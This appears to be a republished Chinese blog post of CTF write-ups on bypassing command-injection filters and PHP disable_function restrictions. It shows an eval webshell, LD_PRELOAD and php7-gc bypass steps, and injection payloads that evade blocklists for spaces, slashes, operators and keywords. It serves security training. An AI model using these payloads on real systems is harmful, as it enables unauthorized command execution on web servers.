3

命令执行绕过的练习(一)

 2 years ago
source link: https://qwzf.github.io/2020/08/12/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E7%9A%84%E7%BB%83%E4%B9%A0(%E4%B8%80)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言

总结完命令执行漏洞的相关绕过知识,做一下CTF题巩固一下,并总结一下做题过程。

0x01 GKCTF-Check_In

考点:绕过disable_function
题目源码:

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();
php复制代码

经测试发现可以连接上木马,但不能执行系统命令,从而无法执行根目录下的/readflag命令。

//eval($_POST['qwzf']); -> ZXZhbCgkX1BPU1RbJ3F3emYnXSk7
蚁剑连接:?Ginkgo=ZXZhbCgkX1BPU1RbJ3F3emYnXSk7
shell复制代码

然后查看phpinfo信息,发现disable_function禁用了命令执行函数。于是可以想到下面几种方式绕过disable_function
1.利用ld_preload
在phpinfo信息发现没有禁用mail函数,所以可以利用ld_preload绕过disable_function

在蚁剑里的/tmp目录下,传入之前文章提到的qwzf2.php和hack2.so
//include('/tmp/qwzf2.php'); -> aW5jbHVkZSgnL3RtcC9xd3pmMi5waHAnKTs=
?Ginkgo=aW5jbHVkZSgnL3RtcC9xd3pmMi5waHAnKTs=
POST:cmd=/readflag&outpath=/tmp/test&sopath=/tmp/hack2.so
php复制代码
在这里插入图片描述
在这里插入图片描述

2.利用php_gc
因为php环境是php7.3,在PHP7.0~PHP7.3之间,所以也可以用php7-gc-bypass的POC打一下即可得到flag:

//include('/tmp/exploit.php'); -> aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw==
?Ginkgo=aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw==
//访问一下,即可得到flag
php复制代码
在这里插入图片描述
在这里插入图片描述

更多方法参考:bypass disable_function多种方法+实例

0x02 CTFhub技能树RCE-过滤cat

考点:绕过文件内容读取(绕过cat)
首先

?ip=|ls
bash复制代码

发现flag文件flag_4052237514444.php
题目给出源码,发现过滤了cat。于是绕过cat

?ip=|more flag_4052237514444.php
#more/less/head/tac/tail/nl/vi/vim/uniq/file -f/sort,以及od -c命令均可
bash复制代码

然后查看源代码,得到flag

0x03 CTFhub技能树RCE-过滤空格

考点:绕过空格
首先

?ip=|ls
bash复制代码

发现flag文件flag_1304577872279.php
题目给出源码,发现过滤了空格。于是绕过空格

?ip=|cat${IFS}flag_1304577872279.php
#$IFS$9/%09/</均可
bash复制代码

然后查看源代码,得到flag

0x04 CTFhub技能树RCE-过滤目录分隔符

考点:绕过目录分隔符/
首先

?ip=|ls
bash复制代码

发现flag文件所在目录flag_is_here
题目给出源码,发现过滤了目录分隔符/。于是绕过/
有两种方法:
方法一:使用linux的系统环境变量${PATH:0:1}代替/

?ip=|ls flag_is_here${PATH:0:1}
得到flag文件flag_19492409018809.php
?ip=|cat flag_is_here${PATH:0:1}flag_19492409018809.php
查看源代码得到flag
bash复制代码

方法二:利用;分隔符连续执行指令

?ip=;cd flag_is_here;ls
得到flag文件flag_19492409018809.php
?ip=;cd flag_is_here;cat flag_19492409018809.php
查看源代码得到flag
bash复制代码

0x05 CTFhub技能树RCE-过滤运算符

考点:绕过运算符|&
题目给出源码,发现过滤了运算符|&。于是直接利用;分隔符绕过

?ip=;ls
得到flag文件flag_16845171801250.php
?ip=;cat flag_16845171801250.php
查看源代码得到flag
bash复制代码

0x06 CTFhub技能树RCE-综合过滤练习

考点:绕过运算符、;、空格、目录分隔符/catflag和ctfhub关键字

<?php
$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
php复制代码

题目给出源码,发现过滤了运算符(|&)、;、空格、目录分隔符、cat、flag关键字和ctfhub关键字
于是构造以下payload进行绕过:

%0a绕过运算符和;
$IFS$9代替空格
${PATH:0:1}代替/
more代替cat
通配符代替flag

?ip=%0als #得到flag文件目录flag_is_here
?ip=%0als$IFS$9*_is_here${PATH:0:1} #得到flag文件flag_1832680587320.php
?ip=%0amore$IFS$9*_is_here${PATH:0:1}*_1832680587320.php #查看源代码得到flag
bash复制代码

0x07 GXYCTF2019-Ping Ping Ping

考点:绕过空格+绕过黑名单(也可内敛执行绕过)

?ip=|ls
shell复制代码

得到flag.phpindex.php。然后查看flag.php内容:

?ip=|cat flag.php
shell复制代码

发现响应:/?ip= fxck your space!,于是绕过空格

?ip=|cat${IFS}flag.php #发现响应:/?ip= 1fxck your symbol!,很明显不行
?ip=|cat$IFS$9flag.php
shell复制代码

发现响应:/?ip= fxck your flag!,应该是过滤了flag关键字,于是可以绕过黑名单或使用内敛执行绕过
(1)方法一:绕过黑名单
经测试可以使用拼接绕过

?ip=;a=g;cat$IFS$9fla$a.php
shell复制代码

然后查看源码,得到flag

在这里插入图片描述
在这里插入图片描述

(2)方法二:内敛执行绕过

?ip=|cat$IFS$9`ls`
shell复制代码
在这里插入图片描述
在这里插入图片描述

0x08 后记

学过命令执行的相关绕过后,再做这些题,发现竟如此容易。由此看来,技术知识和CTF题目是相辅相成的。继续努力吧!


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK